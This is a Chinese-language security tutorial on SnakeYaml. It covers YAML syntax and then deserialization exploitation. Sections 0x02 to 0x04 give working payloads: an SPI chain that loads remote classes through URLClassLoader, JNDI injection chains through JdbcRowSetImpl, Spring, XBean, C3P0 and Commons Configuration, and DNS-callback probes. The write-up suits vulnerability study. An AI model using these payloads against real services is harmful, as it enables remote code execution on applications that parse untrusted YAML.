SnakeYaml链

0x01 Yaml基础

SnakeYaml 是 Java 的 yaml 解析类库,支持 Java 对象的序列化/反序列化。
Yaml 语法
1、Yaml 大小写敏感
2、使用缩进代表层级关系,这点和properties文件的差别很大
3、缩进只能使用空格,只需要相同层级左对齐
Yaml 支持三种数据结构
1、对象
使用冒号代表,格式为key:value。冒号后面要加一个空格

1
key:value  

可以使用缩进代表层级关系

1
2
3
key:  
	chind-key:value  
	chind-key2:value2  

2、数组
使用一个短横线加一个空格代表一个数组

1
2
3
hobby:  
	- Java  
	- Python  

3、常量
Yaml 中提供了多种常量结构,包括:整数、浮点数、字符串、NULL、日期、布尔、时间。
Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
boolean:   
    - TRUE  #true,True都可以  
    - FALSE  #false,False都可以  
float:  
    - 3.14  
    - 6.8523015e+5  #可以使用科学计数法  
int:  
    - 123  
    - 0b1010_0111_0100_1010_1110    #二进制表示  
null:  
    nodeName: 'node'  
    parent: ~  #使用~表示null  
string:  
    - 哈哈  
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符  
    - newline  
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格  
date:  
    - 2022-07-28    #日期必须使用ISO 8601格式,即yyyy-MM-dd  
datetime:   
    -  2022-07-28T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区  

SnakeYaml 序列化与反序列化

pom.xml

1
2
3
4
5
<dependency>  
    <groupId>org.yaml</groupId>  
    <artifactId>snakeyaml</artifactId>  
    <version>1.27</version>  
</dependency>  

SnakeYaml 提供了Yaml.dump()Yaml.load()两个函数对 yaml 格式的数据进行序列化和反序列化
Yaml.load() 参数是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象
Yaml.dump() 将一个对象转换为 yaml 文件格式
dump 是序列化,load是反序列化。
Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package SerializeDemo;    
    
public class Person {    
    
    private String name;    
    private Integer age;    
    
    public Person() {    
    }    
    
    public Person(String name, Integer age) {    
        this.name = name;    
        this.age = age;    
    }    
    
    public void printInfo(){    
        System.out.println("name is " + this.name + "age is" + this.age);    
    }    
    
    public String getName() {    
        return name;    
    }    
    
    public void setName(String name) {    
        this.name = name;    
    }    
    
    public Integer getAge() {    
        return age;    
    }    
    
    public void setAge(Integer age) {    
        this.age = age;    
    }    
}  

序列化和反序列化的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package SerializeDemo;    
    
import org.yaml.snakeyaml.Yaml;    
    
public class YamlSerialize {    
    public static void main(String[] args) {    
        //serialize();    
        unserialize();    
    }    
    public static void serialize(){    
        Person person = new Person();    
        person.setName("huahua");    
        person.setAge(18);    
        Yaml yaml = new Yaml();    
        String str = yaml.dump(person);    
        System.out.println(str);    
    }    
    
    public static void unserialize(){    
        String str1 = "!!SerializeDemo.Person {age: 18, name: huahua}";    
        //String str2 = "age:18\n"+"name:huahua";    
        Yaml yaml = new Yaml();    
        yaml.load(str1);    
       //yaml.loadAs(str1, Person.class);    
    }    
}  

反序列化值!!SerializeDemo.Person {age: 18, name: huahua}
!!类似于 Fastjson 的@type用于指定反序列化的全类名
会自动调用getter/setter方法
Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package SerializeDemo;    
    
public class Person {    
    
    private String name;    
    private Integer age;    
    
    public Person() {    
    }    
    
    public Person(String name, Integer age) {    
        this.name = name;    
        this.age = age;    
    }    
    
    public void printInfo(){    
        System.out.println("name is " + this.name + "age is" + this.age);    
    }    
    
    public String getName() {    
        System.out.println("Function getName");    
        return name;    
    }    
    
    public void setName(String name) {    
        System.out.println("Function setName");    
        this.name = name;    
    }    
    
    public Integer getAge() {    
        System.out.println("Function getAge");    
        return age;    
    }    
    
    public void setAge(Integer age) {    
        System.out.println("Function setAge");    
        this.age = age;    
    }    
}  

看一下反序列化的时候发生了什么
调用了setter方法,如果我把反序列化的语句改成"!!SerializeTest.Person {name: Drunkbaby}",那么就只会调用setter中的setName方法
同样,对于loadAs()loads()同样如此

0x02 SPI 链

漏洞原理

类似于 Fastjson 漏洞,
与 Fastjson 不同的是,Fastjson 可以调用getter/setter方法,而SnakeYaml只能调用非public static 以及 transient作用域的setter方法

利用SPI机制-基于 ScriptEngineManager 利用链

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
newInstance:396, Class (java.lang)    
nextService:380, ServiceLoader$LazyIterator (java.util)    
next:404, ServiceLoader$LazyIterator (java.util)    
next:480, ServiceLoader$1 (java.util)    
initEngines:122, ScriptEngineManager (javax.script)    
init:84, ScriptEngineManager (javax.script)    
<init>:75, ScriptEngineManager (javax.script)    
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)    
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)    
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)    
newInstance:423, Constructor (java.lang.reflect)    
construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)    
construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)    
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)    
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)    
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)    
loadFromReader:450, Yaml (org.yaml.snakeyaml)    
load:369, Yaml (org.yaml.snakeyaml)    
main:10, Demo (BasicKnow.SnakeymlUnser)  

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package SerializeDemo;    
    
import org.yaml.snakeyaml.Yaml;    
public class SPIEngineScriptExp {    
    public static void main(String[] args) {    
        String payload = "!!javax.script.ScriptEngineManager " +   
                "[!!java.net.URLClassLoader " +    
                "[[!!java.net.URL [\"http://3c824ba6.log.dnslog.biz\"]]]]\n";    
        Yaml yaml = new Yaml();    
        yaml.load(payload);    
    }    
}  

但是这个 EXP 只能简单的进行检测,实现 RCE,需要用到 Github 项目
https://github.com/artsploit/yaml-payload/
直接修改代码即可,脚本也比较简单,就是实现了ScriptEngineFactory接口,然后在静态代码块处需填写执行的命令。

SPI机制

SPI 以及 ScriptEngineManager 最早是在 SpEL 表达式里面被提到的。
SPI,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
那么如果需要使用SPI机制需要在Java classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
SPI 是一种动态替换发现的机制,比如有个接口,想运行时动态的给它添加实现,只需要添加一个实现。

0x03 SnakeYaml 反序列化漏洞的 Gadgets

基础知识

先来看一下SPI链子的 EXP

1
2
3
String payload = "!!javax.script.ScriptEngineManager " +    
        "[!!java.net.URLClassLoader " +    
        "[[!!java.net.URL [\"http://dnslog.cn\"]]]]\n";    

这里的[!!是作为javax.script.ScriptEngineManager的属性的,就等于我调用了javax.script.ScriptEnginemanager这个类,其实我是在调用它的构造函数,如图,
传进去的URLClassLoader是作为ClassLoader传进去的,所以这个就传成功了
那么后面的java.net.URL呢,它是以[[!!开头,说明是URLClassLoader的内部属性,可以去看URLClassLoader的构造函数,要求我们传入一个 URL 类,所以 EXP 是这样来的

JdbcRowSetImpl

调用链比较简单,尾部是 JNDI 注入,是在com.sun.rowset.JdbcRowSetImplconnect()方法
setAutoCommit是可被利用的setter方法
于是调用链就是

1
2
3
4
5
JdbcRowSetImpl#setAutoCommit  
	JdbcRowSetImpl#connect  
		InitialContext#lookup  
poc  
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/xfe5br\",autoCommit: true}";  

Spring PropertyPathFactoryBean

EXP

1
2
3
4
5
       String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +      
                " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +      
                " propertyPath: ccccc\n" +      
                " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +      
                "  shareableResources: [\"ldap://localhost:1389/Exploit\"]";  

Apache XBean

无版本限制

1
2
3
4
5
<dependency>    
  <groupId>org.apache.xbean</groupId>    
  <artifactId>xbean-naming</artifactId>    
  <version>4.20</version>    
</dependency>  

链尾

ContextUtil的内部类ReadOnlyBinding里面的getObject()方法里面,调用了ContextUtil.resolve()
跟进看一下resolve(),在这里第 55 行,找到一个 JNDI 注入点
此处就可以找到我们的链尾了

EXP的分析与构造

1
2
3
4
String payload = "!!javax.management.BadAttributeValueExpException " +    
        "[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " +    
        "[\"huahua\",!!javax.naming.Reference [\"foo\", \"JndiCalc\", \"http://localhost:7777/\"],"+    
        "!!org.apache.xbean.naming.context.WritableContext []]]";  

BadAttributeValueExpException类中,构造函数对 val 进行了赋值操作,并且调用了其toString()方法
赋值为org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding类,但是ReadOnlyBinding类中并没有toString方法,但其父类存在
并且正好调用了getObject()方法,进行了 JNDI 注入

C3P0 JndiRefForwardingDataSource

打 C3P0 的这条链子

1
2
3
        String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +      
                "  jndiName: \"rmi://localhost/Exploit\"\n" +      
                "  loginTimeout: 0";  

C3P0 WrapperConnectionPoolDataSource

EXP
打二次反序列化

1
2
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +    
"  userOverridesAsString: \"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;\"";  

Apache Commons Configuration

依赖包

1
2
3
4
5
<dependency>    
    <groupId>commons-configuration</groupId>    
    <artifactId>commons-configuration</artifactId>    
    <version>1.10</version>    
</dependency>  

payload如下

1
String payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:1389/xfe5br\"]]: 1";  

在对ConfigurationMap调用hashCode()的时候实际上执行了java.util.AbstractMap#hashCode()
之后就会调用org.apache.commons.configuration.ConfigurationMap.ConfigurationMap.ConfigurationSet#iterator()
之后就可以配置 JNDIConfiguration 实现 JNDI 注入

1
2
3
4
lookup:417, InitialContext (javax.naming)    
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)    
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)    
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)  

0x04 SnakeYaml的探测

SPI的探测链子

1
2
3
String payload = "!!javax.script.ScriptEngineManager " +   
		"[!!java.net.URLClassLoader " +    
		"[[!!java.net.URL [\"http://3c824ba6.log.dnslog.biz\"]]]]\n";  

使用 key 调用 hashCode 方法探测

EXP

1
String payload = "{!!java.net.URL [\"http://ra5zf8uv32z5jnfyy18c1yiwfnle93.oastify.com/\"]: 1}";  

探测内部类

1
String payload = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";  

在前面加上需要探测的类,如果在反序列化过程中没有报错,说明反序列化成功了,存在该类
这里创建对象的时候使用的是{}这种代表无参构造,所以需要存在无参构造函数,不然需要使用[]进行复制构造

0%